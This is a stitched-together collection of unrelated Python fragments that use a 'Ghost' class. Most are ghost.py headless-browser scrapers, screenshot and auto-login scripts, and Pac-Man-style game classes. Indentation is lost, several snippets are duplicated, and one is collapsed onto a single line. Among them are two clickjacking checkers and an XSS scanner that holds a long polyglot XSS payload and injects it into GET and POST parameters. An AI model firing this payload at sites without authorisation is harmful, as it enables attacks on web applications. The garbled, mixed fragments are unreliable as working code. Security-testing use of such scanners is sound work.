def test_6():
from ghost import Ghost
base_url = 'http://127.0.0.1:8888'
ghost = Ghost()
ghost.open(base_url)
def __init__(self, keyword):
self.ghost = Ghost()
self.kw = urllib.quote(keyword)
self.site = {
'td': 'https://s.taobao.com/search?&q=', # 淘宝
'jd': 'http://search.jd.com/Search?keyword=', # 京东
'yd': 'http://search.yhd.com/c0-0/k', # 一号店
'yx': 'http://searchex.yixun.com/html?key=u', # 易迅
'lf': 'http://search.lefeng.com/search/noresult?keyWord=', # 乐蜂网
'an': 'http://www.amazon.cn/s/ref=nb_sb_noss_1/475-4397139-2107651?field-keywords=', # 亚马逊
'vl': 'http://s.vancl.com/search?k=', # 凡客诚品
'ge': 'http://search.gome.com.cn/search?question=', # 国美在线
'sg': 'http://search.suning.com/' # 苏宁易购
}
self.list = ['td', 'jd', 'yx', 'lf', 'an', 'vl', 'ge', 'sg']
for s in self.list:
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; WOW64) '
'AppleWebKit/537.36 (KHTML, like Gecko) '
'Chrome/43.0.2357.132 Safari/537.36',
'Referer': urlparse(self.site[s]).scheme + '://' + urlparse(self.site[s]).netloc,
'Host': urlparse(self.site[s]).netloc
}
# print s, len(requests.get(self.site[s], headers=headers).content)
if s == 'yx':
# result = requests.get(self.site[s], headers=headers)
with self.ghost.start() as session:
session.open(self.site[s], headers=headers)
page, resources = session.wait_for_page_loaded()
print repr(page.content)
def test_1():
from ghost import Ghost
ghost = Ghost()
page, extra_res = ghost.open('http://www.baidu.com')
print(page.http_status)
print(ghost.content)
def load_map(self, file_name):
""" Indlæser bane """
# Initialiserer map klasse
self.map = Map(file_name)
# Find ud af hvor spilleren er
player_pos = self.map.get_player_pos()
if player_pos is not None:
self.player = Player(player_pos)
# Konverter bane matrice så det kan bruges af a* pathfinding algoritmen
map_matrix = self.map.pathfinding_matrix()
# Find spøgelserne
ghost_pos = self.map.get_ghost_pos()
ghosts = []
for i in range(0, len(ghost_pos)):
pos, map_type = ghost_pos[i]
# Initialiser spøgelse klasse
ghost = Ghost(pos, map_type)
# Indlæs pathfinding matrice
ghost.load_matrix(map_matrix)
ghosts.append(ghost)
self.ghosts = ghosts
def break_protection(self, target):
print('\nAttempting ClickJacking... \n')
html = '''
<html>
<body>
<iframe src="'''+target+'''" height='600px' width='800px'></iframe>
</body>
</html>'''
html_filename = 'clickjack.html'
f = open(html_filename, 'w+')
f.write(html)
f.close()
abs_path = os.path.abspath(os.path.dirname(__file__))
log_filename = abs_path+'/../../Logs/'+'Clickjacking.log'
fh = logging.FileHandler(log_filename)
ghost = Ghost(log_level=logging.INFO, log_handler=fh)
with ghost.start() as session:
session.wait_timeout = 50
page, resources = session.open(html_filename)
l = open(log_filename, 'r')
if 'forbidden by X-Frame-Options.' in l.read():
print('Clickjacking mitigated via X-FRAME-OPTIONS')
else:
href = session.evaluate('document.location.href')[0]
if html_filename not in href:
print('Frame busting detected')
else:
print(colored('Frame busting not detected, page is likely ' +
'vulnerable to ClickJacking', 'red'))
l.close()
logging.getLogger('ghost').handlers[0].close()
os.unlink(log_filename)
os.unlink(html_filename)
def init_monster_in_game(monster_name, monster_number, ground, lives, IA):
list_monsters = ["ghost", "golem", "human", "goblin"]
if ground == "1":
start_x_monster_1 = 60
start_x_monster_2 = 850
end = 1210
elif ground == "2":
start_x_monster_1 = 60
start_x_monster_2 = 740
end = 1100
else:
start_x_monster_1 = 350
start_x_monster_2 = 650
end = 1050
if monster_number == 1:
if monster_name == list_monsters[0]:
monster = Ghost(start_x_monster_1, 417, end, lives, 0, IA, 1)
elif monster_name == list_monsters[1]:
monster = Golem(start_x_monster_1, 410, end, lives, 0, IA, 1)
elif monster_name == list_monsters[2]:
monster = Human(start_x_monster_1, 420, end, lives, 0, IA, 1)
else:
monster = Goblin(start_x_monster_1, 430, end, lives, 0, IA, 1)
else:
if monster_name == list_monsters[0]:
monster = Ghost(start_x_monster_2, 417, end, lives, 0, IA, 1)
elif monster_name == list_monsters[1]:
monster = Golem(start_x_monster_2, 410, end, lives, 0, IA, -1)
elif monster_name == list_monsters[2]:
monster = Human(start_x_monster_2, 420, end, lives, 0, IA, -1)
else:
monster = Goblin(start_x_monster_2, 430, end, lives, 0, IA, -1)
return monster
def __init__(self, environment):
self.run = True
self.display = None
self.pacmanImgs = None
self.pacmanRight_image = None
self.pacmanDown_image = None
self.pacmanLeft_image = None
self.pacmanUp_image = None
self.ghost_image = None
self.block_image = None
self.dot_image = None
# Environment (Environment) and Pacman
self.environment = environment
self.pacman = PacmanAgent(self.environment)
self.wonGame = 0
self.ghosts = []
# Ghosts
self.ghosts.append(Ghost(self.environment, self.pacman, 6, 6))
self.ghosts.append(Ghost(self.environment, self.pacman, 6, 8))
self.ghosts.append(Ghost(self.environment, self.pacman, 8, 8))
self.ghosts.append(Ghost(self.environment, self.pacman, 8, 6))
self.initGame()
def grab_url_screenshot(url):
"""
Grab an url making a screenshot of it
Filename is SHA256 of url
:param url:
:return:
"""
ret = None
try:
# Bonifica url (se manca lo schema assumo http://)
url_res = urlparse(url)
if not url_res.scheme:
url = "http://" + url
# TODO: Può essere un singleton Ghost?
ghost = Ghost()
page, res = ghost.open(url)
if not page is None and page.http_status == 200:
url_sha256 = hashlib.sha256(url).hexdigest()
image_path = os.path.join('url_previews', url_sha256 + ".png")
full_path = os.path.join(settings.MEDIA_ROOT, image_path)
ghost.capture_to(full_path)
image_path = image_path.replace(".png", ".thumb.png")
thumb_full_path = os.path.join(settings.MEDIA_ROOT,image_path)
resize_and_crop(full_path, thumb_full_path, (550, 500))
ret = urljoin(settings.BASE_URL, "uploads/" + image_path)
else:
logger.error("Failed to capture screenshot for {0}".format(url))
except Exception, e:
logger.exception(e)
def ghost_img(src):
ghost = Ghost()
page,resources = ghost.open(src)
ghost.wait_for_page_loaded()
result, resources = ghost.evaluate("document.getElementById('largeImg').getAttribute('src');" )
del resources
return result
def ghost_process(self, request):
def do_counts(str_counts):
try:
counts = str_counts.replace(',', '')
return counts
except:
return 0
def do_item(item):
if item and isinstance(item, list):
return item[0]
return item
url = request.url
try:
ghost = Ghost()
with ghost.start() as session:
page, extra_resouce = session.open(url)
response = HtmlResponse(url,
body=page.content.encode('UTF-8'),
request=request)
except Exception as e:
self.logger.error("ghost.py error:", e, url)
return []
return self.parse_one_news(response)
def clickjack(url):
html = '''
<html>
<body>
<iframe src="'''+url+'''"></iframe>
</body>
</html>'''
html_file = 'clickjack.html'
log_file = 'test.log'
f = open(html_file, 'w+')
f.write(html)
f.close()
logging.basicConfig(filename=log_file)
logger = logging.getLogger('ghost')
logger.propagate = False
ghost = Ghost(log_level=logging.INFO)
page, resources = ghost.open(html_file)
ghost.exit()
l = open(log_file, 'r')
if 'forbidden by X-Frame-Options.' in l.read():
print 'Clickjacking mitigated'
else:
print 'Clickjacking successful'
print os.getcwd()
l.close()
class GhostVisitor:
def __init__(self):
self.ghost = Ghost()
def GET(self, url):
page, resources = self.ghost.open(url)
if page.http_status != 200:
print('Status', page.http_status, 'for', url)
return
yield from self.parse(page)
js = 'document.getElementsByTagName("form").length'
form_count, resources = self.ghost.evaluate(js)
if form_count:
yield self.submit_form, url
def parse(self, page):
html = etree.HTML(self.ghost.content)
links = html.findall('.//a[@href]')
for link in links:
yield self.GET, urljoin(page.url, link.attrib['href'])
def submit_form(self, url):
page, resources = self.ghost.open(url)
page, resources = self.ghost.fire_on("form", "submit",
expect_loading=True)
yield from self.parse(page)
def getHtml(self):
ghost = Ghost()
with ghost.start() as session:
page, extra_resources = session.open(self.url,'get',{},None,None,None,True,30)
if page.http_status == 200:
return session.content
return False
def __init__(self, solutionFilePath, logFilePath, height, width,
pillDensity, wallDensity, fruitProbability, fruitScore,
timeMultiplier):
self.pacman1 = Pacman(0, height - 1)
self.ghost1 = Ghost(width - 1, 0, 1)
self.ghost2 = Ghost(width - 1, 0, 2)
self.ghost3 = Ghost(width - 1, 0, 3)
self.solutionFilePath = solutionFilePath
self.logFilePath = logFilePath
self.height = height
self.width = width
self.pillDensity = pillDensity
self.wallDensity = wallDensity
self.fruitProbability = fruitProbability
self.fruitScore = fruitScore
self.timeMultiplier = timeMultiplier
self.time = timeMultiplier * width * height
self.grid = [[]]
self.hasFruit = False
self.logger = Logger(self.solutionFilePath, self.logFilePath)
self.numPills = 0 #pills pacman currently has
self.totalPills = 0
self.didSpawn = False
self.fruitx = -1 #fruit position
self.fruity = -1
self.solution = []
def __init__(self, url=None):
if url:
self.url = url
assert self.url, "All clients must have a URL attribute"
self._attributes = self._collect_attributes()
self._class_model = self._setup_class_model()
self._ghost = Ghost()
def process_request(self, request, spider):
if spider.name in zhcw_scrape.settings.WEBKIT_DOWNLOADER:
if (type(request) is not FormRequest):
# print request.meta
if request.meta.has_key('flag') and request.meta['flag'] == 1:
# print '111' + request.url
ghost = Ghost()
session = ghost.start()
session.evaluate('window.localStorage=undefined')
session.evaluate('window.sessionStorage=undefined')
session.evaluate('window.RTCPeerConnection=undefined')
session.evaluate(
'window.webkitRTCPeerConnection=undefined')
session.evaluate('window.mozRTCPeerConnection=undefined')
try:
session.open(request.url)
except:
pass
session.page = None
result, resource = session.evaluate(
'document.documentElement.innerHTML')
"""
保留会话到爬虫，用以在爬虫里面执行js代码
"""
# print result
spider.webkit_session = session
renderedBody = result.encode('utf8')
"""
#返回rendereBody就是执行了js后的页面
"""
# print request.url
return HtmlResponse(request.url, body=renderedBody)
return None
def index(request):
dir_name = os.path.dirname(__file__)
img_name = os.path.join(dir_name, "pic.jpg")
if request.method == "POST":
url = request.POST.get("url", "")
else:
url = request.GET.get("url", "")
if not url:
url = "http://www.bbc.uk.com"
display = Display()
display.start()
ghost = Ghost()
ghost.open(url)
width = int(ghost.evaluate("document.body.clientWidth")[0])
height = int(ghost.evaluate("document.body.clientHeight")[0])
ghost = Ghost(viewport_size=(width, height))
ghost.open(url)
ghost.capture_to(img_name, selector="body")
image = Image.open(img_name)
image.thumbnail((128, 128), Image.ANTIALIAS)
response = HttpResponse(mimetype="image/jpeg")
image.save(response, "jpeg")
display.stop()
return response
def scan_xss(method, vulns, url, fuzz, cookie, useragent, data, refer):
#payload = 'javascript://\'/</Title></sTyle></teXtarea></scRipt>--><svg" %0Aonload=confirm(42)//>*/prompt(42)/*<details/open/ontoggle=confirm`42` >'
payload = 'jaVasCript:alert(1)//" name=alert(1) onErrOr=eval(name) src=1 autofocus oNfoCus=eval(name)><marquee><img src=x onerror=alert(1)></marquee>" ></textarea\></|\><details/open/ontoggle=prompt`1` ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>\'-->" ></script><sCrIpt>confirm(1)</scRipt>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>\'"><!--'
try:
ghost = Ghost()
with ghost.start() as x:
result = 0
# POST
if (method == 'POST' and fuzz != ''):
inject = dict(data)
inject[fuzz] = inject[fuzz] + payload
del inject['']
if refer and refer != '' and cookie and cookie != '':
page, extra_resources = x.open(url, headers={'Cookie':cookie, 'Referer': refer}, user_agent=useragent, method='post')
elif refer and refer != '':
page, extra_resources = x.open(url, headers={'Referer': refer}, user_agent=useragent, method='post')
elif cookie and cookie != '':
page, extra_resources = x.open(url, headers={'Cookie':cookie}, user_agent=useragent, method='post')
else:
page, extra_resources = x.open(url, user_agent=useragent, method='post')
result, resources = x.fill("form", inject)
page, resources = x.call("form", "submit", expect_loading=True)
result, resources = x.wait_for_alert(1)
inject = url + ":" + fuzz + ":" + inject[fuzz]
# GET
if (method == 'GET'):
inject = url.replace(fuzz+"=", fuzz+"="+payload)
if refer and refer != '' and cookie and cookie != '':
page, extra_resources = x.open(inject, headers={'Cookie':cookie, 'Referer':refer}, user_agent=useragent)
elif refer and refer != '':
page, extra_resources = x.open(inject, headers={'Referer':refer}, user_agent=useragent)
elif cookie and cookie != '':
page, extra_resources = x.open(inject, headers={'Cookie':cookie}, user_agent=useragent)
else:
page, extra_resources = x.open(inject, user_agent=useragent)
result, resources = x.wait_for_alert(1)
# Detect XSS result with an alert
if result == '1':
print("\t\t\033[93mXSS Detected\033[0m for ", fuzz, " with the payload :", payload)
vulns['xss'] += 1
vulns['list'] += 'XSS|TYPE|'+inject+'|DELIMITER|'
else:
#print("\t\t\033[94mXSS Failed \033[0m for ", fuzz, " with the payload :", payload)
pass
except Exception as e:
if "confirm" in str(e) : #or "alert" in str(e):
print("\t\t\033[93mXSS Detected (False positive ?)\033[0m for ", fuzz, " with the payload :", payload)
inject = url + ":" + fuzz + ":" + payload
vulns['xss'] += 1
vulns['list'] += 'XSS|TYPE|'+inject+'|DELIMITER|'
else:
#print("Error",e)
#print("\t\t\033[94mXSS Failed \033[0m for ", fuzz, " with the payload :", payload)
pass
def _create_ghost(self, ghost_number, row_number):
# Create a ghost and place it in the row.
ghost = Ghost(self)
ghost_width, ghost_height = ghost.rect.size
ghost.x = ghost_width + 2 * ghost_width * ghost_number
ghost.rect.x = ghost.x
ghost.rect.y = ghost.rect.height + 2 * ghost.rect.height * row_number
self.ghosts.add(ghost)
def start(timeout=10000):
ghost = Ghost()
session = ghost.start(download_images=False,
show_scrollbars=False,
wait_timeout=timeout,
display=False,
plugins_enabled=False)
return ConstitutionalCourtCrawler(session)
def gethtml(URL): ghost = Ghost(wait_timeout=120) try: page, resources = ghost.open(URL) html = BeautifulSoup(ghost.content) except Exception as EX: print(EX) return html
def __init__(self):
ua = random.choice(self.user_agent_list) # 随机选择一个User-Agent
self.ghost = Ghost()
self.se = Session(self.ghost,
display=False,
wait_timeout=60,
download_images=False)
super(GhostMiddleware, self).__init__()
def vision(ghost):
if ghost.inHeaven == True:
ghost = Ghost()
print("While sleeping, you have a strange dream....")
print("A ghostly figure appears in front of you and begins to speak.\n")
ghost.display_message()
def __init__(self, **kwargs):
kwargs.setdefault('wait_timeout', 60)
self.user_id = kwargs.pop('user_id')
self.access_token = kwargs.pop('access_token')
self.server_host = kwargs.pop('server_host')
self.server_port = kwargs.pop('server_port')
self.ghost = Ghost(**kwargs)
self.callbacks = {}
class Shazam(object):
"""
Provides methods for downloading Shazam history
"""
def __init__(self, fb_email=None, fb_password=None):
self.session = Ghost().start()
self.facebook = Facebook(self.session, fb_email, fb_password)
self.login_successful = False
self.fat = None # Facebook access token
def login(self):
"""
Performs Shazam login
:return: bool - True if success, False - otherwise
"""
if self.login_successful:
return True
if not self.facebook.login():
return False
# fat = self.facebook.get_access_token(app_id)
# if not fat:
# logging.error("Couldn't get Facebook access token")
# return False
#
# user_id = self.facebook.get_user_id()
# if not user_id:
# logging.error("Couldn't get Facebook user id")
# return False
#
# query = [("fat", fat),
# ("uid", user_id)]
# body = urllib.urlencode(query)
# login_url = "http://www.shazam.com/login"
# try:
# self.session.open(login_url,
# method="post",
# body=body)
# except Exception, e:
# logging.error("Shazam login failed")
# logging.error(str(e))
# return False
myshazam_url = "http://www.shazam.com/myshazam"
try:
self.session.open(myshazam_url)
except Exception, e:
logging.error("Shazam login failed. Couldn't open myshazam page.")
logging.error(str(e))
return False
try:
self.session.click(".js-fblogin")
except Exception, e:
logging.error("Shazam login failed. Couldn't click login button.")
logging.error(str(e))
return False
def main():
"""
Go to across pages
"""
if not b_extraction:
global ghost
ghost = Ghost()
global session
session = ghost.start(download_images=False, show_scrollbars=False, wait_timeout=5000, display=False,
plugins_enabled=False)
logger.info("Start - ČAK")
session.open(url)
list_of_links = None
if session.exists("#mainContent_btnSearch") and not b_extraction:
session.click("#mainContent_btnSearch", expect_loading=True)
if session.exists("#mainContent_gridResult"):
value, resources = session.evaluate("document.getElementById('mainContent_lblResult').innerHTML")
logger.debug(value)
records, pages = how_many(value, 50)
#pages = 99 # hack for testing
page_from = 1
logger.info("Checking records...")
list_of_links = check_records(page_from, pages)
if len(list_of_links) > 0:
logger.info("Dowload new records")
for record in list_of_links:
#print(record)#,record["url"],record["id"])
# may it be wget?
if not os.path.exists(join(documents_dir_path, record["id"] + ".html")):
import urllib.request
try:
urllib.request.urlretrieve(record["url"], join(documents_dir_path, record["id"] + ".html"))
except urllib.request.HTTPError as ex:
logger.error(ex.msg, exc_info=True)
#session.open(record["url"])
#response = str(urlopen(record["url"]).read())
#response = session.content
#extract_data(response, record["id"]+".html")
logger.info("Download - DONE")
session.exit()
ghost.exit()
else:
logger.info("Not found new records")
list_of_links = None
if list_of_links is not None:
logger.info("Extract information...")
extract_information(list_of_links)
logger.info("Extraction - DONE")
else:
if b_extraction:
logger.info("Only extract information...")
extract_information(list_of_links=None)
logger.info("Extraction - DONE")
return True
class Shazam(object):
"""
Provides methods for downloading Shazam history
"""
def __init__(self, fb_email=None, fb_password=None):
self.session = Ghost().start()
self.facebook = Facebook(self.session, fb_email, fb_password)
self.login_successful = False
self.fat = None # Facebook access token
def login(self):
"""
Performs Shazam login
:return: bool - True if success, False - otherwise
"""
if self.login_successful:
return True
if not self.facebook.login():
return False
# fat = self.facebook.get_access_token(app_id)
# if not fat:
# logging.error("Couldn't get Facebook access token")
# return False
#
# user_id = self.facebook.get_user_id()
# if not user_id:
# logging.error("Couldn't get Facebook user id")
# return False
#
# query = [("fat", fat),
# ("uid", user_id)]
# body = urllib.urlencode(query)
# login_url = "http://www.shazam.com/login"
# try:
# self.session.open(login_url,
# method="post",
# body=body)
# except Exception, e:
# logging.error("Shazam login failed")
# logging.error(str(e))
# return False
myshazam_url = "http://www.shazam.com/myshazam"
try:
self.session.open(myshazam_url)
except Exception, e:
logging.error("Shazam login failed. Couldn't open myshazam page.")
logging.error(str(e))
return False
try:
self.session.click(".js-fblogin")
except Exception, e:
logging.error("Shazam login failed. Couldn't click login button.")
logging.error(str(e))
return False
def gethtml(URL):
ghost = Ghost(wait_timeout=120)
try:
page, resources = ghost.open(URL)
html = BeautifulSoup(ghost.content) # ,from_encoding='GB18030')
except Exception as EX:
print(EX)
print(html)
return html
class Client(object):
def __init__(self, url=None):
if url:
self.url = url
assert self.url, "All clients must have a URL attribute"
self._attributes = self._collect_attributes()
self._class_model = self._setup_class_model()
self._ghost = Ghost()
def process(self):
self._load_ghost()
attribute_results = self._process_attributes()
self._object_results = self._make_objects(attribute_results)
return self._object_results
def _setup_class_model(self):
class_name = self.__class__.__name__
return namedtuple(class_name + "Response", self._attributes.keys())
def _process_attributes(self):
results = []
for attribute_name, attribute in self._attributes.iteritems():
result, resources = self._ghost.evaluate(attribute.query)
# If a node was selected, return it's data
if isinstance(result, dict):
if 'data' in result:
result = result['data']
elif 'selector' in result:
raise TypeError(
"The attribute {} returned a selector"
" instead of a node.".format(attribute_name))
results.append(result)
return results
def _make_objects(self, attribute_results):
raise NotImplementedError()
def _collect_attributes(self):
attrs = [(attr_name, attr)
for (attr_name, attr) in inspect.getmembers(self)
if isinstance(attr, Attribute)]
return dict(attrs)
def _load_ghost(self):
page, extra_resources = self._ghost.open(self.url)
# For local testing, page is None
if page:
# TODO should error better
assert page.http_status < 400
# Load jquery
jquery_path = os.path.join(os.path.abspath(os.curdir), 'zester',
'fixtures', 'jquery.min.js')
jquery_text = open(jquery_path, 'r').read()
result, resources = self._ghost.evaluate(jquery_text)
def main():
print(U"Start US")
global ghost
ghost = Ghost()
global session
session = ghost.start(download_images=False,
show_scrollbars=False, wait_timeout=main_timeout,
display=False, plugins_enabled=False)
session.open(search_url)
# print(session.content)
records_per_page = 20
if view_data(date_from, records_per_page, date_to, days):
response = session.content
if b_screens:
session.capture_to(
join(screens_dir_path, "errors.png"), selector=".searchValidator")
records = 0
if not session.exists("#ctl00_MainContent_lbError"):
pages, records = how_many(response, records_per_page)
# print(pages)
logger.info("pages: %s, records %s" % (pages, records))
page_from = 0
# pages = 20
# load starting page
if os.path.exists(join(out_dir, "current_page.ini")):
with codecs.open(join(out_dir, "current_page.ini"), "r") as cr:
page_from = int(cr.read().strip())
logger.debug("Start on page %d" % page_from)
if pages is not None and records is not None:
if (page_from + 1) > pages:
logger.debug(
"Loaded page number is greater than count of pages")
page_from = 0
if pages != (page_from + 1): # parameter page is from zero
last_page = page_from
while (last_page + 1) != pages:
last_page = walk_pages(last_page, pages)
print("\n")
logger.info("DONE - download")
else:
logger.debug("I am complete!")
else:
logger.error("View error - 'pages' or 'records' are None")
return False
else:
logger.info("Not found new records")
logger.info("Extract information...")
result = extract_information(records)
if result and os.path.exists(join(out_dir, "current_page.ini")):
logger.info("DONE - extraction")
os.remove(join(out_dir, "current_page.ini"))
return True
def __init__(self,
id,
pw,
displayFlag=False,
download_images=False,
prevent_download=["css"]):
# 새 Ghost instance를 만들어서 사용합니다.
self.ghost = Ghost(display=displayFlag, wait_timeout=60)
self.currentPage = None
self.login(id, pw)
def signNeu6():
ghost = Ghost()
session = ghost.start()
resp = session.open("http://bt.neu6.edu.cn/member.php")
session.set_field_value("[name=username]", 用户名)
session.set_field_value("[name=password]", 密码)
session.click("[type=checkbox]")
session.click("[type=submit]")
session.open("http://bt.neu6.edu.cn/member.php")
return session
def main():
ghost = Ghost()
page, resources = ghost.open('http://dl.acm.org/citation.cfm?id=511146#')
links = ghost.evaluate(khhkj)
print links
sys.stdout.flush()
def getCartoonUrl(self, url):
if url is None:
return false
#todo many decide about url
ghost = Ghost()
#open webkit
ghost.open(url)
#exceute javascript and get what you want
result, resources = ghost.evaluate("document.getElementById('cp_image').getAttribute('src');")
del resources
return result
class Client(object):
def __init__(self, url=None):
if url:
self.url = url
assert self.url, "All clients must have a URL attribute"
self._attributes = self._collect_attributes()
self._class_model = self._setup_class_model()
self._ghost = Ghost()
def process(self):
self._load_ghost()
attribute_results = self._process_attributes()
self._object_results = self._make_objects(attribute_results)
return self._object_results
def _setup_class_model(self):
class_name = self.__class__.__name__
return namedtuple(class_name + "Response", self._attributes.keys())
def _process_attributes(self):
results = []
for attribute_name, attribute in self._attributes.iteritems():
result, resources = self._ghost.evaluate(attribute.query)
# If a node was selected, return it's data
if isinstance(result, dict):
if 'data' in result:
result = result['data']
elif 'selector' in result:
raise TypeError("The attribute {} returned a selector"
" instead of a node.".format(attribute_name))
results.append(result)
return results
def _make_objects(self, attribute_results):
raise NotImplementedError()
def _collect_attributes(self):
attrs = [(attr_name, attr) for (attr_name, attr) in
inspect.getmembers(self) if isinstance(attr, Attribute)]
return dict(attrs)
def _load_ghost(self):
page, extra_resources = self._ghost.open(self.url)
# For local testing, page is None
if page:
# TODO should error better
assert page.http_status < 400
# Load jquery
jquery_path = os.path.join(os.path.abspath(os.curdir),
'zester', 'fixtures', 'jquery.min.js')
jquery_text = open(jquery_path, 'r').read()
result, resources = self._ghost.evaluate(jquery_text)
def run(self):
ghost = Ghost()
with ghost.start(download_images=False) as session:
while True:
action = self.pipe.recv()
if action is None:
break
page = action.do(session)
self.updatePage(session, page)
self.sendResult(session, self.currentPage)
def getContent(self, url):
if (self.gh is None):
self.gh = Ghost()
self.page, self.page_name = self.gh.create_page(600)
try:
self.page_resource = self.page.open(url, wait_onload_event=True)
except Exception, e:
LelianLogger.log('main', logging.ERROR, u"Timeout to get page: %s",
url)
self.content = self.staticPageContent.getContent(url)
return self.content
def runGame(self):
players = [
PacMan(self.world.pacManCoords, self.pacManSolution),
Ghost(self.world.ghostCoords[0], self.ghostSolution),
Ghost(self.world.ghostCoords[1], self.ghostSolution),
Ghost(self.world.ghostCoords[2], self.ghostSolution)
]
gameRunning = True
won = False
while gameRunning:
oldPlayerCoords = [self.world.pacManCoords
] + self.world.ghostCoords
decisions = []
for player in range(len(players)):
currPlayer = players[player]
validMoves = self.world.validMoves[player]
choice = currPlayer.move(validMoves, self.world)
decisions.append(choice)
self._movePlayers(players, decisions)
self.world.time -= 1
newPlayerCoords = [self.world.pacManCoords
] + self.world.ghostCoords
if self._pacManGhostCollision(oldPlayerCoords, newPlayerCoords):
gameRunning = False
break
self._removePills()
self._removeFruit()
if len(self.world.pillCoords) == 0:
won = True
gameRunning = False
break
if self.world.time == 0:
gameRunning = False
break
self._addFruit(self.world)
self.worldTracker.addSnapshot(self.world)
self.world.validMoves = self.worldTracker.getValidMoves(self.world)
if won and self.world.time != 0:
percentTime = int((self.world.time / self.world.timeStart) * 100)
score = self.world.score + percentTime
self.world.score = score
self.worldTracker.addSnapshot(self.world)
self.score = self.world.score
def main(argv):
if len(argv) < 2:
sys.stderr.write("Usage: %s <url>\n" % (argv[0],))
return 1
ghost = Ghost(viewport_size=(1280, 1024))
page, resources = ghost.open(argv[1])
assert page.http_status==200 and 'bbc' in ghost.content
ghost.capture_to('screenshot2.png')
for r in resources:
print r.url
def create_ghosts(self):
self.ghost = Ghost(self.screen, self.settings, self.maze, self.stats,
0)
self.ghosts.add(self.ghost)
self.ghost = Ghost(self.screen, self.settings, self.maze, self.stats,
1)
self.ghosts.add(self.ghost)
self.ghost = Ghost(self.screen, self.settings, self.maze, self.stats,
2)
self.ghosts.add(self.ghost)
self.ghost = Ghost(self.screen, self.settings, self.maze, self.stats,
3)
self.ghosts.add(self.ghost)
def set_environment(view):
global ghost
ghost = Ghost()
global session
session = ghost.start(download_images=False,
java_enabled=False,
show_scrollbars=False,
wait_timeout=main_timeout,
display=False,
plugins_enabled=False)
if view:
session.display = True
session.show()
def test_main_page_ghost(self):
from ghost import Ghost
import logging
logging.basicConfig(level=logging.DEBUG)
router = get_static_routes()
router.add_handler('/', get_routes())
with run_test_server(self.loop, router=router, port=9999) as httpd:
url = httpd.url("/")
print(url)
meth = 'get'
ghost = Ghost()
page, extra_resources = ghost.open(url)
assert page.http_status == 200
def spawn_ghosts(self):
inkey = Ghost(self.screen, -35, 260, 'images/ghost/inkey/inkey1.png',
"Inkey")
self.ghosts.add(inkey)
pinky = Ghost(self.screen, 0, 260, 'images/ghost/pinky/pinky1.png',
"Pinky")
self.ghosts.add(pinky)
blinky = Ghost(self.screen, 0, 204, 'images/ghost/blinky/blinky1.png',
"Blinky")
self.ghosts.add(blinky)
clyde = Ghost(self.screen, 35, 260, 'images/ghost/clyde/clyde1.png',
"Clyde")
self.ghosts.add(clyde)
def download(url, timeout = 30):
from ghost import Ghost
ghost = Ghost(wait_timeout=timeout, download_images=False, display=False)
ghost.open(url)
ghost.click(b'.playNums')
ghost.wait_for_text("播放量数据")
content = ghost.content
ghost.exit()
return content
def test1():
url = "http://www.ebay.com/"
gh = Ghost()
# We create a new page
page, page_name = gh.create_page()
# We load the main page of ebay
page_resource = page.open(url, wait_onload_event=True)
# Full the main bar and click on the search button
page.set_field_value("#gh-ac", "plane")
page.click("#gh-btn")
# Wait for the next page
page.wait_for_selector("#e1-15")
# Save the image of the screen
page.capture_to("plane.png")
def signYaohuo():
ghost = Ghost()
session = ghost.start()
resp = session.open("http://yaohuo.me/waplogin.aspx")
session.set_field_value("[name=logname]", 用户名)
session.set_field_value("[name=logpass]", 密码)
session.click("[type=submit]", btn=0)
session.wait_for_selector("[href='/signin/signin.aspx']")
session.open("http://yaohuo.me/signin/signin.aspx")
session.set_field_value("[name=content]", "today is a new day")
session.click("[name=g]")
session.wait_for_selector(".tip")
return session.evaluate(
"document.documentElement.getElementsByTagName('head')")
def screenshot(url,target):
ghost = Ghost(wait_timeout=4)
print "Do u want to provide any credentials \n"
choice=raw_input()
if choice.lower()=='y':
print colored("[-] Enter Username and Password ",'green')
username=raw_input()
password=raw_input()
ghost.open(url,auth=(username,password))
ghost.capture_to(str(time.time())+'.png')
os.system('mv *.png ./screenshots')
print colored("[-] Screenshot Succesfull catpured and Saved @ %s/screen.png"%(os.getcwd()),'green')
else:
pass
def login(self, url, userName, password, headers):
from ghost import Ghost
self.s = Ghost().start()
self.s.open(url, user_agent=settings.USER_AGENT)
self.s.wait_for_selector('#loginUrl')
self.s.click('#loginUrl')
self.s.wait_for_selector('#login-user-btn', 10)
self.s.set_field_value('#user_name', userName)
self.s.set_field_value('#user_password', password)
self.s.click('#login-user-btn')
self.s.wait_for_selector('span.user-name')
self.s.show()
self.s.sleep(13)
def make_pages(pn, c):
#global ghost
ghost = Ghost(download_images = True)
#time.sleep( 1 )
root = app_root + '/cache'
file = "page_" + pn + "_" + str(c) + ".jpg"
markup = get_markup(pn, True)
ghost.main_frame.setHtml(markup)
ghost.wait_for_page_loaded()
ghost.capture_to(root + '/' + file)
def init(details):
d=details.copy()
del d["Keywords"]
del d["Gender"]
print "[INFO] Starting Google+ Engine"
from selenium import webdriver
print "[INFO] Runnning Ghost !"
from ghost import Ghost
ghost = Ghost(wait_timeout=60,download_images=False)
print "[INFO] Ghost started !"
page, resources = ghost.open('https://plus.google.com/s/'+" ".join(d.values())+'/people')
print "[INFO]Starting Parsing"
from bs4 import BeautifulSoup as bs
print bs(page.content).findAll("div",{"class":"Osd Hfb"})
browser.quit()
def cmd_down_liked(self, event):
self.cmdDown.config(state='disabled')
self.lbl_status.config(text=u'正在获取曲目, 请稍后 ...')
html_doc = urllib2.urlopen('http://douban.fm/mine#!type=liked&start=0').read().decode('utf-8')
re_scripts = re.compile(r'<script>([\s\S]+?)</script>')
scripts = re_scripts.findall(html_doc)
script = scripts[-2]
ghost = Ghost()
self.douban_user_id_sign, res = ghost.evaluate(script+';window.user_id_sign;')
for c in self.cookie:
if c.name == 'bid':
self.douban_bid = c.value.strip('"')
self.douban_spbid = self.douban_user_id_sign + self.douban_bid
threading.Thread(target=self.down_liked_master).start()
return
def _get_html_page(host):
ghost = Ghost()
with ghost.start() as session:
start = time.time()
url = SSL_LABS_URL + host
logger.debug("Request url: %s", url)
page, extra_resources = session.open(
url,
headers={"User-Agent": CHROME_USER_AGENT},
user_agent=CHROME_USER_AGENT,
wait=True
)
logger.info("[%s] Html page retrieved in %.2f seconds,"
" starting wait for test completion", host, time.time() - start)
return _wait_for_result(session, page)
class Shotter(object):
def __init__(self,):
try:
#self.ghost = Ghost(wait_timeout=10)
self.ghost = Ghost()
